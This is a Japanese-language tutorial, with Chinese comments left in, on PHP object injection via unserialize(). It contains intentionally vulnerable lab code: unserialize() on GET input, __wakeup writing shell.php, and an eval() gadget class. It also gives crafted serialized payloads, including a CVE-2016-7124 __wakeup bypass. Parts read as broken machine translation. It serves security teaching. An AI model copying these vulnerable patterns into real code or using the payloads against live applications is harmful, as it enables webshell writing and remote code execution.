PHP デシリアライゼーション
- PHP オブジェクト インジェクションの脆弱性としても知られています。
シリアライゼーションとデシリアライゼーション
-
PHP シリアライゼーションには、serialize()とunserialize()の 2 つの関数があります。
-
シリアル化は、オブジェクトのシリアル化です。オブジェクトは、メモリに格納されるデータ型です。その寿命は、オブジェクトを生成するプログラムの終了とともに終了します。オブジェクトの状態を永続的に使用するために、オブジェクトは serialize() によってシリアル化されます。関数. 文字列の行をファイルとして保存し、それを使用するときに unserialize() を使用してオブジェクトに逆シリアル化します
-
シリアル化された形式
bool
b:value
b:0 //false
b:1 //true b代表bool型,冒号后面是值
整数
i:value
i:1
i:-1 // i代表里类型
字符
s:length:"value";
s:4:"aaaa"; //s是字符串 4代表长度
NULL
N;
数组
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}
对象
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
連載テスト
- serialize(): 格納可能な値の表現を生成し、このオブジェクトを文字列に変換し、後で転送して使用するためにオブジェクトの値を保存します。テストコードは次のとおりです。
<?php
class Amire0x{
var $test = '123';
}
$a = new Amire0x();
print_r(serialize($a));
echo "<br>";
$b = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
print_r(unserialize($b));
?>
結果
- ノート
0:表示存储的是对象
7:表示对象名称有7个字符
"Amire0x":表示对象的名称
1:表示有1个值
{s:4:"test";s:3:"123";}
s:表示字符串
4:表示长度
"test":表示名称
デシリアライゼーションの脆弱性
PHP オブジェクトの一般的なマジック メソッド
-
construct()
create(new) 時に自動的に呼び出されます。ただし、unserialize() の際に自動的に呼び出されることはありません。 -
__destruct() は、
オブジェクトが破棄されるときに呼び出されます -
__toString()
は、オブジェクトが文字列として使用される場合に呼び出されます (echo の場合だけでなく、file_exists() などの判定もトリガーされます)。 -
__sleep() は
、オブジェクトをシリアル化する前にこのメソッドを呼び出します (その戻り値は配列である必要があります)。 -
__wakeup() は、
オブジェクトを逆シリアル化および復元する前にこのメソッドを呼び出します。これは、unserialize() 時に自動的に呼び出されます。 -
__call() は、
オブジェクトに存在しないメソッドを呼び出すときに、このメソッドを自動的に呼び出します -
__callStatic()
アクセスできないメソッドが静的コンテキストで呼び出されたときに発生します
脆弱性テスト
unserialize() に渡されたパラメーターが制御可能である場合、慎重に構築されたシリアル化された文字列を渡すことで、オブジェクト内の変数や関数を制御できます。
- 特性試験
<?php
class Amire0x{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"Amire0x":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
実行後
__wakeup()
unserialize() の後、途中で他のプロセスを介さずに直接呼び出しにつながることがわかります。このことから、この関数にいくつかの脆弱性または危険なコードがあることがわかり、シリアル化された文字列を制御してそれらを直接トリガーすることができます
-
はい、
__wakeup()
再現します基本的な考え方は、環境をローカルにセットアップし、serialize() を介して必要なシリアル化された文字列を取得し、それを渡すことです。ソースコードから知り、オブジェクト内のテスト値を に割り当てて
<?php phpinfo(); ?>
から、unserialize() を呼び出して、__wakeup() を介して shell.php にテスト値を書き込みます。これを行うには、php スクリプトを記述します。
<?php
class Amire0x{
var $test = 'aaa';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = new Amire0x();
$class3->test = $_GET['test'];
$class3 = serialize($class3);
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
- 答えを得た
-
__construct()
、 unserialize() で直接呼び出されない魔法の関数です。オブジェクトが逆シリアル化されると、それによって呼び出された __wakeup() が他のオブジェクトを呼び出すことがあるため、ソースをトレースして抜け道を見つけることができます。 -
コードとして
<?php
class Am0x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class Amire0x{
var $test = '123';
function __wakeup(){
$obj = new Am0x($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
ここでは、構築されたシリアライズされた文字列をテストに渡し、デシリアライズ時に__wakeup()
関数をこれによりnew Am0x()
、オブジェクト Am0x のメソッドが自動的に呼び出され__construct()
、<?php phpinfo() ?>
shell.php に書き込まれます。
- などの共通メンバーを利用する
<?php
class Amire0x {
var $test;
function __construct() {
$this->test = new Am0x();
}
function __destruct() {
$this->test->action();
}
}
class Am0x {
function action() {
echo "Am0x";
}
}
class Am0x2 {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new Amire0x();
unserialize($_GET['test']);
?>
本来、新しい Amire0x オブジェクトが呼び出された後、__construct()
Amire0x オブジェクトは再び新しいものになります。end の後に呼び出され__destruct()
、 action() が呼び出され、Am0x が出力されます。
__wakeup() バイパス
-
CVE-2016-7124 の脆弱性。シリアル化された文字列が、オブジェクトの属性の数が実際の属性の数より多いことを示している場合、__wakeup の実行がスキップされます。
-
非直列化は、プライベートかパブリックかに関係なく、クラス属性を制御できます
-
ソースコードのテスト
<?php error_reporting(0); class Amire0x{ public $test = 'abc'; function __destruct(){ if(!empty($this->test)){ if($this->test == 'abc') echo "Congratulations!"; } } function __wakeup(){ $this->test = 'You failed buddy!'; echo "$this->test"; } public function __toString(){ return ''; } } if(!isset($_GET['answer'])){ show_source('1.php'); }else{ $answer = $_GET['answer']; echo $answer; echo '<br>'; echo unserialize($answer); } ?>
答えを組み立ててみてください
O:7:"Amire0x":1:{s:4:"test";s:3:"abc";}
失敗、バイパスなし
オブジェクトの値を変更する
O:7:"Amire0x":2:{s:4:"test";s:3:"abc";}